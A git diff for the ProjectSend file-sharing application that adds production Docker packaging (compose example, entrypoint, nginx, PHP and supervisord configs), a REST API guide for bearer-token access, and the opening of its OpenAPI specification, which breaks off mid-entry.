+COPY docker/production/php.ini /usr/local/etc/php/conf.d/projectsend.ini +COPY docker/production/www-pool.conf /usr/local/etc/php-fpm.d/zz-www-pool.conf +COPY docker/production/nginx.conf /etc/nginx/http.d/default.conf +COPY docker/production/supervisord.conf /etc/supervisord.conf +COPY docker/production/entrypoint.sh /usr/local/bin/projectsend-entrypoint +RUN chmod +x /usr/local/bin/projectsend-entrypoint + +WORKDIR /var/www/html + +# The verified release artifact, already unpacked by build-image.sh. It +# arrives with vendor/ and public/build/ built — no composer or npm here. +COPY --chown=www-data:www-data app/ /var/www/html/ + +# storage/ and bootstrap/cache must be writable by the runtime user. +RUN mkdir -p storage/app/files storage/framework/cache storage/framework/sessions \ + storage/framework/views storage/logs bootstrap/cache \ + && chown -R www-data:www-data storage bootstrap/cache \ + && chmod -R u+rwX storage bootstrap/cache \ + && mkdir -p /run/nginx + +# The whole of storage/, not just storage/app/files. Uploaded files are the +# obvious thing to persist, but .env lives here too (the entrypoint puts it +# there and symlinks it into place) so that a generated APP_KEY survives +# container replacement — a key that changes silently invalidates every +# session and makes every encrypted column unreadable. +VOLUME ["/var/www/html/storage"] + +EXPOSE 80 + +# Laravel's health route (bootstrap/app.php: health: '/up'). Hitting it +# through nginx rather than php directly means a dead web tier fails the +# check too, not just a dead interpreter. +HEALTHCHECK --interval=30s --timeout=5s --start-period=40s --retries=3 \ + CMD wget -qO- http://127.0.0.1/up >/dev/null 2>&1 || exit 1 + +ENTRYPOINT ["projectsend-entrypoint"] +CMD ["supervisord", "-c", "/etc/supervisord.conf"] diff --git a/docker/production/compose.example.yaml b/docker/production/compose.example.yaml new file mode 100644 index 00000000..00160b60 --- /dev/null +++ b/docker/production/compose.example.yaml @@ -0,0 +1,101 @@ +# A complete ProjectSend install using the official image. +# +# 1. Edit the passwords and APP_URL below. +# 2. docker compose -f compose.example.yaml up -d +# 3. Open APP_URL. If you set ADMIN_EMAIL/ADMIN_PASSWORD the first +# administrator already exists; otherwise the setup screen prompts. +# +# This is the file the Docker Hub description points at, so it is written +# for someone who has never seen the project before. + +name: projectsend + +services: + app: + image: projectsend/projectsend:2 + restart: unless-stopped + ports: + # Put a TLS-terminating proxy in front of this in any real install. + # ProjectSend issues download links and password-reset emails using + # APP_URL, so that value — not this port — is what users must reach. + - "8080:80" + environment: + APP_URL: https://files.example.com + APP_ENV: production + APP_DEBUG: "false" + + # Generated on first boot and kept on the storage volume. Set it + # explicitly if you manage secrets elsewhere — but never change it on + # a running install: it decrypts existing data. + # APP_KEY: base64:... + + DB_CONNECTION: mysql + DB_HOST: db + DB_PORT: "3306" + DB_DATABASE: projectsend + DB_USERNAME: projectsend + DB_PASSWORD: change-me-database + + REDIS_HOST: redis + CACHE_STORE: redis + SESSION_DRIVER: redis + QUEUE_CONNECTION: redis + + # Mail is easier to configure from System → Settings → Email once you + # are logged in — it has a "send test" button. These are the fallback + # until then. + MAIL_MAILER: smtp + MAIL_HOST: smtp.example.com + MAIL_PORT: "587" + MAIL_USERNAME: "" + MAIL_PASSWORD: "" + MAIL_FROM_ADDRESS: files@example.com + + # Required whenever anything sits between your visitors and this + # container — which includes the reverse proxy you should be running. + # Without it every visitor appears to come from the proxy: the login + # rate limiter treats all of your users as one attacker, and the + # download log records the proxy's address. + TRUSTED_PROXIES: "*" + + # Optional: creates the first administrator so you skip the setup + # screen. Ignored once any user exists. + ADMIN_NAME: Administrator + ADMIN_EMAIL: admin@example.com + ADMIN_PASSWORD: change-me-admin + volumes: + # Every uploaded file lives here, along with the generated APP_KEY. + # This is the volume to back up; losing it loses the data. + - storage:/var/www/html/storage + depends_on: + db: + condition: service_healthy + + db: + image: mysql:8.4 + restart: unless-stopped + environment: + MYSQL_DATABASE: projectsend + MYSQL_USER: projectsend + MYSQL_PASSWORD: change-me-database + MYSQL_ROOT_PASSWORD: change-me-root + volumes: + - db-data:/var/lib/mysql + healthcheck: + # The app waits for this before migrating, so a slow first start is + # normal rather than a failure. + test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "--silent"] + interval: 5s + timeout: 5s + retries: 20 + + redis: + image: redis:7-alpine + restart: unless-stopped + volumes: + - redis-data:/data + +volumes: + storage: + db-data: + redis-data: diff --git a/docker/production/entrypoint.sh b/docker/production/entrypoint.sh new file mode 100755 index 00000000..49e1b3c4 --- /dev/null +++ b/docker/production/entrypoint.sh @@ -0,0 +1,83 @@ +#!/bin/sh +set -e + +# First-boot bootstrap for the official image. Adapted from +# docker/app/entrypoint.sh, with the differences that matter in production: +# +# - The database is external and may not be up yet, so migrations wait +# for it instead of failing the container into a restart loop. +# - APP_KEY is generated once and persisted, because a key that changes +# between restarts invalidates every session and makes every encrypted +# column unreadable. +# - Nothing is bind-mounted, so there is no uid juggling to do. +# +# Deliberately NOT run: `config:cache`. It stops .env from being read, which +# silently disables TRUSTED_PROXIES — every visitor then appears to come +# from the proxy, the login rate limiter treats all users as one attacker, +# and the download log records the wrong address. See INSTALL.md. + +cd /var/www/html + +# storage/ is the declared volume, so anything that must outlive the +# container lives there. Recreate the tree first: a bind-mounted host +# directory arrives empty, unlike a named volume which Docker seeds from +# the image. +mkdir -p storage/app/files \ + storage/framework/cache \ + storage/framework/sessions \ + storage/framework/views \ + storage/logs +chown -R www-data:www-data storage + +# .env is kept on that volume and symlinked into place, so a generated +# APP_KEY survives container replacement. A key that changes between +# restarts invalidates every session and makes every encrypted column +# permanently unreadable — silently, since nothing errors at boot. +# +# Operators who set APP_KEY (and the rest) in the environment need none of +# this: Laravel reads the environment directly and it wins over .env. +if [ ! -f storage/.env ]; then + cp .env.example storage/.env + chown www-data:www-data storage/.env +fi +[ -L .env ] || ln -sf storage/.env .env + +if [ -z "$APP_KEY" ] && ! grep -q '^APP_KEY=base64:' storage/.env; then + echo "projectsend: generating APP_KEY (first boot, persisted to the storage volume)" + su-exec www-data php artisan key:generate --force --no-interaction +fi + +# Wait for the database. `migrate` against a database still starting up is +# the single most common first-run failure, and a bare failure here would +# restart-loop the container with a stack trace instead of a clear message. +if [ "$1" = "supervisord" ] || [ "$1" = "/usr/bin/supervisord" ]; then + i=0 + until su-exec www-data php artisan db:show --quiet >/dev/null 2>&1; do + i=$((i + 1)) + if [ "$i" -ge 60 ]; then + echo "projectsend: database unreachable after 60s — check DB_HOST, DB_DATABASE and credentials" >&2 + exit 1 + fi + [ "$i" = 1 ] && echo "projectsend: waiting for the database..." + sleep 1 + done + + su-exec www-data php artisan migrate --force + su-exec www-data php artisan storage:link --force + su-exec www-data php artisan projectsend:ensure-roles + + # Unattended provisioning: create the first administrator from the + # environment. Without these, the web setup screen prompts instead. + if [ -n "$ADMIN_EMAIL" ] && [ -n "$ADMIN_PASSWORD" ]; then + su-exec www-data php artisan projectsend:admin --if-none \ + --name="${ADMIN_NAME:-Administrator}" \ + --email="$ADMIN_EMAIL" \ + --password="$ADMIN_PASSWORD" + fi + + # Cheap and safe to repeat; keeps a restarted container from serving + # stale compiled views after an image upgrade. + su-exec www-data php artisan view:clear +fi + +exec "$@" diff --git a/docker/production/nginx.conf b/docker/production/nginx.conf new file mode 100644 index 00000000..cb6aafd9 --- /dev/null +++ b/docker/production/nginx.conf @@ -0,0 +1,76 @@ +# Production server block for the official image. +# +# Kept deliberately close to docker/web/nginx.conf — the dev stack's config +# — because the security properties below were reviewed as a set. Two +# differences, both forced by this +# being one container instead of two: +# +# 1. fastcgi_pass targets 127.0.0.1, not the `app` compose service. +# 2. There is no user/uid coordination to do: nginx and php-fpm run as +# the same www-data here, so storage/ needs no group juggling. + +server { + listen 80 default_server; + server_name _; + root /var/www/html/public; + index index.php; + + # Uploads arrive in chunks (Uppy resumable), so this caps a single + # chunk, not a file. Raising it does not raise the maximum file size. + client_max_body_size 100m; + + # The nginx version number is nobody's business but ours — matches + # docker/web/nginx.conf. + server_tokens off; + + # Baseline hardening for every response. `always` so they survive error + # responses too. NOTE: nginx does not merge add_header across levels — + # a location that declares any add_header of its own inherits none of + # these, so /protected-files/ below repeats them deliberately. + add_header X-Content-Type-Options "nosniff" always; + add_header X-Frame-Options "SAMEORIGIN" always; + add_header Referrer-Policy "strict-origin-when-cross-origin" always; + + location / { + try_files $uri $uri/ /index.php?$query_string; + } + + # Protected file serving: PHP authorizes, nginx streams. + # PHP responds with X-Accel-Redirect: /protected-files/. + # + # This is the only location that returns bytes someone else uploaded, + # so it gets the strictest headers in the file. `sandbox` puts anything + # rendered as a document into an opaque origin with scripts disabled — + # if a payload ever does reach here with a renderable content type + # (FileThumbnailController's allowlist is the primary defence), it + # cannot touch this app's origin or the viewer's session. Images loaded + # as subresources are unaffected: a CSP on a subresource response never + # creates a browsing context, so thumbnails and previews still render. + location /protected-files/ { + internal; + alias /var/www/html/storage/app/files/; + + add_header X-Content-Type-Options "nosniff" always; + add_header X-Frame-Options "SAMEORIGIN" always; + add_header Referrer-Policy "strict-origin-when-cross-origin" always; + add_header Content-Security-Policy "sandbox; default-src 'none'" always; + } + + location ~ \.php$ { + # Never hand a path to PHP-FPM that isn't a real script on disk: + # without this, any URI ending in .php reaches the interpreter and + # PATH_INFO resolution decides what actually runs. + try_files $uri =404; + + fastcgi_pass 127.0.0.1:9000; + fastcgi_index index.php; + fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name; + include fastcgi_params; + fastcgi_buffer_size 32k; + fastcgi_buffers 8 32k; + } + + location ~ /\.(?!well-known) { + deny all; + } +} diff --git a/docker/production/php.ini b/docker/production/php.ini new file mode 100644 index 00000000..9a0ef1e0 --- /dev/null +++ b/docker/production/php.ini @@ -0,0 +1,28 @@ +; Production PHP settings for the official image. Diverges from +; docker/app/php.ini in two places, both because the code is baked into the +; image rather than bind-mounted from a developer's working tree. + +; These cover a single upload chunk (Uppy resumable) and metadata requests, +; not the maximum file size — raising them does not let users upload larger +; files. Keep in step with client_max_body_size in nginx.conf. +upload_max_filesize = 100M +post_max_size = 100M +memory_limit = 256M + +opcache.enable = 1 +; The application never changes underneath a running container — a new +; version means a new image — so opcache has no reason to stat every file +; on every request. This is the single biggest difference from the dev +; config, where validate_timestamps=1 is what makes edits show up. +opcache.validate_timestamps = 0 +opcache.max_accelerated_files = 20000 +opcache.memory_consumption = 192 +opcache.interned_strings_buffer = 16 + +; Nothing should be echoing errors to a browser in production; the log goes +; to stderr, which supervisord forwards to `docker logs`. +display_errors = Off +log_errors = On +error_log = /dev/stderr + +expose_php = Off diff --git a/docker/production/supervisord.conf b/docker/production/supervisord.conf new file mode 100644 index 00000000..9c3f949e --- /dev/null +++ b/docker/production/supervisord.conf @@ -0,0 +1,59 @@ +; Four processes, one container. The dev stack runs these as separate +; compose services; an official image people `docker run` has to carry them +; itself, or scheduled work and queued jobs silently never happen. +; +; Everything logs to stdout/stderr so `docker logs` is the single place to +; look — no log files inside the container to discover and rotate. + +[supervisord] +nodaemon=true +user=root +logfile=/dev/null +logfile_maxbytes=0 +pidfile=/run/supervisord.pid + +[program:php-fpm] +command=php-fpm --nodaemonize +autostart=true +autorestart=true +priority=10 +stdout_logfile=/dev/stdout +stdout_logfile_maxbytes=0 +stderr_logfile=/dev/stderr +stderr_logfile_maxbytes=0 + +[program:nginx] +command=nginx -g "daemon off;" +autostart=true +autorestart=true +priority=20 +stdout_logfile=/dev/stdout +stdout_logfile_maxbytes=0 +stderr_logfile=/dev/stderr +stderr_logfile_maxbytes=0 + +; --max-time recycles the worker hourly. Long-lived PHP workers accumulate +; state, and a worker started before a deploy keeps running the old code +; until it exits; an hour bounds both without thrashing. +[program:queue] +command=su-exec www-data php /var/www/html/artisan queue:work --max-time=3600 --tries=3 +autostart=true +autorestart=true +priority=30 +stopwaitsecs=3630 +stdout_logfile=/dev/stdout +stdout_logfile_maxbytes=0 +stderr_logfile=/dev/stderr +stderr_logfile_maxbytes=0 + +; schedule:work is the long-running equivalent of a per-minute cron entry, +; which is what a container should use — there is no crond here. +[program:scheduler] +command=su-exec www-data php /var/www/html/artisan schedule:work +autostart=true +autorestart=true +priority=40 +stdout_logfile=/dev/stdout +stdout_logfile_maxbytes=0 +stderr_logfile=/dev/stderr +stderr_logfile_maxbytes=0 diff --git a/docker/production/www-pool.conf b/docker/production/www-pool.conf new file mode 100644 index 00000000..51e2863a --- /dev/null +++ b/docker/production/www-pool.conf @@ -0,0 +1,26 @@ +; Overrides only — loaded after the base image's www.conf/docker.conf (see +; /usr/local/etc/php-fpm.d/*.conf) thanks to the zz- prefix it's copied +; under, same convention the base image itself uses for docker.conf vs +; zz-docker.conf. +; +; `dynamic` rather than the dev config's `ondemand`: an official image runs +; unattended and should keep a few workers warm rather than paying process +; startup on the first request after an idle period. The ceiling still +; matters — nothing else here caps how much RAM the pool can claim, and +; this image is expected to run on small VPSes. +[www] +pm = dynamic +pm.max_children = 10 +pm.start_servers = 2 +pm.min_spare_servers = 2 +pm.max_spare_servers = 4 +pm.max_requests = 500 + +; php-fpm's master must stay root to fork workers as www-data (it cannot +; reopen its error_log as non-root at startup); the workers themselves do +; not. +user = www-data +group = www-data + +catch_workers_output = yes +decorate_workers_output = no diff --git a/docker/web/Dockerfile b/docker/web/Dockerfile new file mode 100644 index 00000000..0ba3b462 --- /dev/null +++ b/docker/web/Dockerfile @@ -0,0 +1,12 @@ +FROM nginx:1.27-alpine + +# Matches the host user's uid/gid so nginx can read the bind-mounted +# storage/app/files (X-Accel-Redirect) and storage/app/public (via the +# public/storage symlink) trees without needing looser permissions. +ARG WWWUSER=1000 +ARG WWWGROUP=1000 + +RUN delgroup nginx 2>/dev/null || true \ + && deluser nginx 2>/dev/null || true \ + && addgroup -g "$WWWGROUP" nginx \ + && adduser -D -H -u "$WWWUSER" -G nginx nginx diff --git a/docker/web/nginx.conf b/docker/web/nginx.conf new file mode 100644 index 00000000..73471299 --- /dev/null +++ b/docker/web/nginx.conf @@ -0,0 +1,62 @@ +server { + listen 80; + server_name _; + root /var/www/html/public; + index index.php; + + client_max_body_size 100m; + + # The nginx version number is nobody's business but ours. + server_tokens off; + + # Baseline hardening for every response. `always` so they survive error + # responses too. NOTE: nginx does not merge add_header across levels — + # a location that declares any add_header of its own inherits none of + # these, so /protected-files/ below repeats them deliberately. + add_header X-Content-Type-Options "nosniff" always; + add_header X-Frame-Options "SAMEORIGIN" always; + add_header Referrer-Policy "strict-origin-when-cross-origin" always; + + location / { + try_files $uri $uri/ /index.php?$query_string; + } + + # Protected file serving: PHP authorizes, nginx streams (brief §3). + # PHP responds with X-Accel-Redirect: /protected-files/. + # + # This is the only location that returns bytes someone else uploaded, + # so it gets the strictest headers in the file. `sandbox` puts anything + # rendered as a document into an opaque origin with scripts disabled — + # if a payload ever does reach here with a renderable content type + # (FileThumbnailController's allowlist is the primary defence), it + # cannot touch this app's origin or the viewer's session. Images loaded + # as subresources are unaffected: a CSP on a subresource response never + # creates a browsing context, so thumbnails and previews still render. + location /protected-files/ { + internal; + alias /var/www/html/storage/app/files/; + + add_header X-Content-Type-Options "nosniff" always; + add_header X-Frame-Options "SAMEORIGIN" always; + add_header Referrer-Policy "strict-origin-when-cross-origin" always; + add_header Content-Security-Policy "sandbox; default-src 'none'" always; + } + + location ~ \.php$ { + # Never hand a path to PHP-FPM that isn't a real script on disk: + # without this, any URI ending in .php reaches the interpreter and + # PATH_INFO resolution decides what actually runs. + try_files $uri =404; + + fastcgi_pass app:9000; + fastcgi_index index.php; + fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name; + include fastcgi_params; + fastcgi_buffer_size 32k; + fastcgi_buffers 8 32k; + } + + location ~ /\.(?!well-known) { + deny all; + } +} diff --git a/docs/api-guide.md b/docs/api-guide.md new file mode 100644 index 00000000..2d281e33 --- /dev/null +++ b/docs/api-guide.md @@ -0,0 +1,442 @@ +# ProjectSend API guide + +The API lets an external tool act on your installation: list and download files, upload new ones, +share them with clients, and manage client accounts and groups. + +Everything here describes **v1**, mounted at `/api/v1`. The machine-readable specification is at +`GET /api/v1/openapi.json` and can be imported straight into Postman, Insomnia or a code generator. + +--- + +## Getting started + +1. Sign in and go to **Settings → API tokens**. +2. Create a token, tick only the permissions the tool needs, and give it an expiry. +3. Copy the token immediately — it is shown once and never again. Only a hash is stored. + +Then: + +```bash +curl -H "Authorization: Bearer YOUR_TOKEN" \ + -H "Accept: application/json" \ + https://your-install.example.com/api/v1/me +``` + +`GET /api/v1/me` is the first call worth making. It tells you who the token belongs to, which +abilities it *effectively* has, which edition this installation runs, and which optional modules are +available. + +--- + +## Authentication + +Bearer tokens only: + +``` +Authorization: Bearer 1|psend_xxxxxxxxxxxxxxxxxxxx +``` + +There is no cookie or session authentication on `/api/*`, and no password-login endpoint. Tokens are +created in the web interface, by a person who has already signed in and confirmed their password. +That is a deliberate limitation: it keeps passwords off the API entirely. + +**Staff accounts only.** Client accounts cannot hold a working token in v1. + +Three things must hold for a call to succeed, on every request: + +| | | +|---|---| +| The token carries the ability | Chosen when the token was created or last edited | +| The owner still holds the permission | Re-checked live — a demoted account's token loses the ability immediately, without anyone revoking it | +| This edition has the feature | Community-only features are unavailable on cloud installs and vice versa | + +A token can therefore never do more than the person who created it, and never more than it could on +the day it was minted. + +### Expiry and revocation + +Every token has an expiry (default 90 days, maximum 365). "Never expires" exists but is off by +default — a token nobody ever rotates is a password nobody ever changes. + +Revoke from the settings page, or let a token retire itself: + +```bash +curl -X DELETE -H "Authorization: Bearer YOUR_TOKEN" \ + https://your-install.example.com/api/v1/tokens/current +``` + +That revokes only the calling token. Revoking someone else's is deliberately a web-only action. + +--- + +## Abilities + +An ability is one of the installation's permission keys. The token creation screen lists only the +ones you hold *and* that the API can currently act on, so what you see there is the authoritative +list for your account. + +| Ability | Unlocks | +|---|---| +| `upload` | list files, upload | +| `edit_files` / `edit_others_files` | read and edit file metadata, share files | +| `delete_files` / `delete_others_files` | delete files | +| `set_file_expiration_date` | set `expires_at` when editing | +| `set_file_categories` | set `categories` when editing | +| `limit_downloads` | set `download_limit` and `download_limit_scope` when editing | +| `upload_public` | set `public` when editing | +| `upload` / `edit_files` / `edit_others_files` | read and write a file's comments | +| `manage_clients` | list clients | +| `create_clients` / `edit_clients` / `delete_clients` | create, read and edit, delete clients; `edit_clients` also removes a client's two-factor authentication | +| `manage_groups` | list groups | + +| `moderate_comments` | list what is awaiting approval, and approve it | +| `manage_users` | list staff accounts and the roles you may assign — **Community only** | +| `create_users` / `edit_users` / `delete_users` | create, read and edit, delete staff accounts; `edit_users` also removes an account's two-factor authentication — **Community only** | + +There is no ability for *writing* a comment. Who may comment is an installation setting rather than +a per-role permission, so the file abilities are the gate — the same question the web asks, which is +"can you see this file". Removing somebody *else's* comment sits there too, because the same +endpoint also lets an author remove their own within the editing window and that is not moderation; +it additionally requires the token's owner to hold `moderate_comments`, checked live against the +account rather than carried by the token. +| `create_groups` / `edit_groups` / `delete_groups` | create, read and edit (including membership), delete groups | + +Where an endpoint accepts several — `edit_files` *or* `edit_others_files` — holding either is enough, +and which one applies to a given file depends on whether you uploaded it. + +Every operation in the OpenAPI document names its own requirement. + +--- + +## Responses + +Successful responses wrap the payload in `data`: + +```json +{ "data": { "id": 12, "name": "Quarterly report" } } +``` + +List endpoints add cursor pagination: + +```json +{ "data": [ … ], "links": { "next": "…?cursor=eyJ…" }, "meta": { … } } +``` + +### Errors + +Errors are [RFC 7807](https://datatracker.ietf.org/doc/html/rfc7807) problem documents, served as +`application/problem+json`: + +```json +{ + "type": "validation_failed", + "title": "The given data was invalid.", + "status": 422, + "errors": { "name": ["The name field is required."] } +} +``` + +`type` is a stable slug you can branch on. `title` and `detail` are prose and may be reworded. + +| Status | `type` | Means | +|---|---|---| +| 401 | `unauthenticated` | Missing, malformed, expired or revoked token | +| 403 | `forbidden` | The token, the account, or the edition lacks what this call needs | +| 404 | `not_found` | No such resource, or none you may see | +| 413 | `payload_too_large` | Upload part over the size limit | +| 422 | `validation_failed` | See `errors` | +| 429 | `too_many_requests` | Slow down; honour `Retry-After` | + +--- + +## Rate limits + +Limits are per token, so one integration cannot exhaust another's allowance. Every response carries: + +``` +X-RateLimit-Limit: 120 +X-RateLimit-Remaining: 118 +``` + +and a `Retry-After` header on 429. Uploads have their own, tighter bucket. + +> **Self-hosting behind a proxy?** Set `TRUSTED_PROXIES`. Without it every request appears to come +> from the proxy, so unauthenticated rate limits collapse into one shared bucket and the download IP +> log records the proxy instead of the caller. + +--- + +## Reading a list, and polling for changes + +All list endpoints accept `per_page` (capped) and `cursor`. Pass the `links.next` URL back verbatim +to walk forward. + +To watch for changes — the usual reason an automation tool calls an API on a timer — pass +`updated_since`: + +```bash +curl -H "Authorization: Bearer YOUR_TOKEN" \ + "https://your-install.example.com/api/v1/files?updated_since=2026-08-06T09:00:00Z" +``` + +With `updated_since` the walk is ordered oldest-first by last-modified time, so new and edited rows +always arrive at the end and paging forward visits every row exactly once. Keep the highest +`updated_at` you have seen and pass it on the next poll. + +The boundary is inclusive, so you will occasionally re-see the row exactly on your watermark; +de-duplicate by `id`. That is the safe direction of the trade — excluding it could drop a row that +shares a timestamp with another. + +**Polling cannot see deletions.** A deleted row simply stops appearing. If you need to react to +deletions, that is what webhooks will be for; they are not built yet. + +--- + +## Uploading + +Two ways, and the right one depends on the file. + +### One request + +```bash +curl -X POST -H "Authorization: Bearer YOUR_TOKEN" \ + -F "file=@report.pdf" \ + -F "name=Quarterly report" \ + https://your-install.example.com/api/v1/files +``` + +Simple, and fine up to this installation's configured maximum upload size. There is no resume: a +dropped connection means starting again. + +The stored content type is detected from the bytes, not from what you declare. + +### Resumable, in parts + +For large files or unreliable connections. Four steps: + +1. `POST /uploads` with `filename` and `size` → returns an `uploadId`. +2. For each part, `GET /uploads/{id}/parts/{n}/sign` → returns a short-lived signed URL; `PUT` the + part's bytes to it. Parts may go in any order, and `GET /uploads/{id}/parts` lists what has + arrived, so an interrupted upload resumes rather than restarts. +3. `POST /uploads/{id}/complete` → assembles the parts and returns the created file. +4. `DELETE /uploads/{id}` abandons an upload you no longer want. + +The size you declare in step 1 is checked again against the assembled bytes at step 3, so it is a +courtesy, not a promise the server trusts. + +--- + +## Sharing a file + +Sharing is a file plus a target: + +```bash +curl -X POST -H "Authorization: Bearer YOUR_TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"type":"client","id":42}' \ + https://your-install.example.com/api/v1/files/12/assignments +``` + +`type` is `client` or `group`. This is idempotent — assigning twice changes nothing — so retrying a +request that may already have succeeded is safe. + +It also does everything the web interface does: the recipient gets an in-app notification, and the +share email follows on the usual delay. + +`DELETE` with the same body revokes the share. + +### Files that are new versions of other files + +A file can be marked as a new version of an earlier one: + +```bash +curl -X PUT -H "Authorization: Bearer YOUR_TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"previous_file_id":11}' \ + https://your-install.example.com/api/v1/files/12/version +``` + +**A new version is shared with exactly the people the original is shared with.** It has no +recipients of its own, so assigning it returns `422` and names the file to assign instead — every +version follows that one. Any recipients the file already had are moved onto the original when you +link it, so nobody loses access. + +`DELETE /files/12/version` removes the link. The file then keeps a copy of the recipients it was +inheriting, so unlinking does not revoke anything either. + +Every file carries `is_revision`, `sharing_root_id`, `previous_version` and `next_version`. The last +two are narrowed to what your token may see: a counterpart outside your reach reads as `null`. + +--- + +## Staff accounts + +`/users` manages the people who administer the installation, and the role assigned to each of them. +Clients are a different population with their own `/clients` endpoints and never appear here. + +**Community only.** Every endpoint under `/users` and `/roles` answers `403` with +`type: capability_unavailable` on a managed installation, where staff accounts are created outside +the application instead. The paths are still registered there, and still in this document, so that the +specification is identical on every install — the refusal tells you why, where a missing route would +not. + +Two abilities are needed for each call: `manage_users` to reach the area at all, then the one for the +action (`create_users`, `edit_users`, `delete_users`). That mirrors the web UI, where the whole +section sits behind `manage_users` and each button behind its own key. + +### Two rules that will refuse you + +**You cannot hand out authority you do not hold.** `role_id` must name a role you could grant +yourself: a caller who is not an administrator may not create one, nor assign any role carrying a +permission they lack, nor touch an account whose role already outranks them (that one is a `403`). +`GET /roles` lists exactly what is available to you, so the safe move is to read it rather than +guess an id. + +**The installation always keeps an active administrator.** Demoting, deactivating or deleting the +last one is a `422`. So is deactivating or deleting yourself, from either surface. + +### Changing a role + +The assigned role is a field on the account, so `PATCH /users/{user}` with `role_id` is the whole +operation. `assigned_clients` only means anything for a `client_scoped` role; moving to any other +role clears it, whether or not you mention it. + +Creating and deleting *roles themselves* is deliberately not on the API: a role is a +security boundary, and changing one is a deliberate act performed in the UI. + +## Deleting a client + +If the client owns files or folders, you must say what happens to them: + +```bash +curl -X DELETE -H "Authorization: Bearer YOUR_TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"content_action":"reassign","reassign_to_id":3}' \ + https://your-install.example.com/api/v1/clients/42 +``` + +`content_action` is `cascade_delete` or `reassign`. There is no default: one would silently destroy +the files, the other would silently hand them to somebody else. `GET /clients/{id}` reports the +counts so you can decide first. + +A client owning nothing deletes with no body at all. + +--- + +## Unlocking an account whose second factor is lost + +Two-factor authentication has a failure mode that nothing else in the API does: when the +authenticator app and the recovery codes are both gone, the account cannot be opened by its holder +*or* by anybody else. `DELETE` the second factor to put the account back to password-only sign-in: + +```bash +curl -X DELETE -H "Authorization: Bearer YOUR_TOKEN" \ + https://your-install.example.com/api/v1/clients/42/two-factor + +curl -X DELETE -H "Authorization: Bearer YOUR_TOKEN" \ + https://your-install.example.com/api/v1/users/7/two-factor +``` + +`edit_clients` and `edit_users` respectively — this changes how an account signs in, it does not +remove one, so it is not the `delete_*` key. Both answer `204` whether or not a second factor was +actually in force, and the staff route additionally refuses (`403`) an account whose role outranks +the caller's, exactly like `PATCH` does. + +Two things always happen, and neither is optional: the account holder is emailed that it happened, +and the call is recorded in the activity log against the token's owner. If the installation enforces +two-factor authentication for that population, the account is asked to enrol again on its next +sign-in — this un-sticks an account, it does not exempt one. + +`two_factor_enabled` on `GET /clients`, `GET /clients/{client}`, `GET /users` and +`GET /users/{user}` tells you whether there is anything to remove. + +--- + +## Retries and duplicate requests + +Assignments and group membership are idempotent. **Creating a file or a client is not** — a retried +`POST` that actually succeeded the first time creates a second one. Until idempotency keys exist, +check before retrying a create you are unsure about. + +--- + +## Module endpoints + +Some installations carry optional modules that add their own endpoints under +`/api/v1/modules/{module}/…`. `GET /api/v1/me` lists which are present, so a tool can adapt rather +than guess. + +Everything documented above — authentication, abilities, error format, rate limits — applies to them +unchanged; the core supplies all of it rather than each module restating it. + +### For module authors + +Register from your package's service provider, listening by string class name so your package stays +buildable without the host application present: + +```php +Event::listen('App\Modules\Api\Events\RegisteringApiModules', function ($event): void { + $event->register( + slug: 'branding', + routes: __DIR__.'/api-routes.php', + capability: 'branding.customize', + ); +}); +``` + +The core supplies the prefix, the route-name namespace, the authentication stack and the capability +gate. Your routes declare paths, controllers, and a `token-can:` middleware naming permissions from +the core vocabulary. A slug must be unique and lowercase; a clash throws at boot rather than +silently shadowing. + +Module endpoints are deliberately absent from the document above — `OpenApiContractTest` skips +`api/v1/modules/*` — so each package documents its own surface in its own repository. The +`branding` module's endpoints are in `packages/cloud-modules/docs/api.md`. + +--- + +## Versioning + +`/api/v1` is a frozen contract. Additive changes only: new endpoints, new optional parameters, new +response fields. Removing or renaming a field, tightening validation, or changing a status code is +breaking and would arrive as `/api/v2`. Anything scheduled for removal ships `Deprecation` and +`Sunset` headers first. + +`docs/api-changelog.md` records every change. + +--- + +## Not in v1 + +Recorded so they read as decisions rather than gaps: + +- **Client-user tokens.** Only staff accounts can hold one. +- **Password login.** Tokens come from the web interface. +- **Webhooks.** Poll instead; see above. +- **Idempotency keys.** See "Retries" above. +- **Share links, notifications, thumbnails, settings.** +- **Creating and deleting roles.** `GET /roles` reads them and `role_id` assigns one; defining a + role's permission set stays in the UI. + +--- + +## Keeping this document true + +Anyone shipping a feature or a fix — API-related or not — should run through +asking whether the change needs an API change at all. + +For anyone adding an endpoint: + +1. Route in `routes/api.php` inside the auth group, with a `token-can:` naming the same permission + its `routes/web.php` twin uses. +2. A `JsonResource` with an explicit field allowlist — never `$model->toArray()`. +3. Authorization through the domain's existing policy or scope. The token ability is an *additional* + gate, never a replacement. +4. A feature test, including the negative case for a client-scoped staff token. +5. Rerun `php artisan scramble:export`, add a row above if it changes the ability table, and add a + changelog entry. + +The token creation screen needs no update — it derives its list by scanning routes for `token-can:`. + +Note that **docblocks on controller methods under an `Api` namespace are published as the reference**. +Write them for the reader; keep implementation notes in `//` comments inside the method. diff --git a/docs/api/openapi.json b/docs/api/openapi.json new file mode 100644 index 00000000..fea54fb3 --- /dev/null +++ b/docs/api/openapi.json @@ -0,0 +1,4019 @@ +{ + "openapi": "3.1.0", + "info": { + "title": "ProjectSend", + "version": "1.0.0", + "description": "Staff-authenticated REST API for ProjectSend. Authenticate with a bearer token created under Settings \u2192 API tokens. See docs/api-guide.md for the narrative guide." + }, + "servers": [ + { + "url": "/api/v1" + } + ], + "security": [ + { + "http": [] + } + ], + "paths": { + "/uploads": { + "post": { + "operationId": "uploads.store", + "description": "Declare the filename and size; the response returns an `uploadId`\nused by the remaining steps. The declared size is re-checked against\nthe assembled bytes when the upload completes.\n\nRequires a token with the ability: `upload`.", + "summary": "Begin a resumable upload", + "tags": [ + "ChunkedUploads" + ], + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "filename": { + "type": "string", + "maxLength": 255 + }, + "size": { + "type": "integer", + "minimum": 1 + }, + "type": { + "type": [ + "string", + "null" + ], + "maxLength": 255 + }, + "description": { + "type": [ + "string", + "null" + ], + "maxLength": 2000 + }, + "folder_id": { + "type": [ + "integer", + "null" + ] + }, + "previous_file_id": { + "type": [ + "integer", + "null" + ] + } + }, + "required": [ + "filename", + "size" + ] + } + } + } + }, + "responses": { + "200": { + "description": 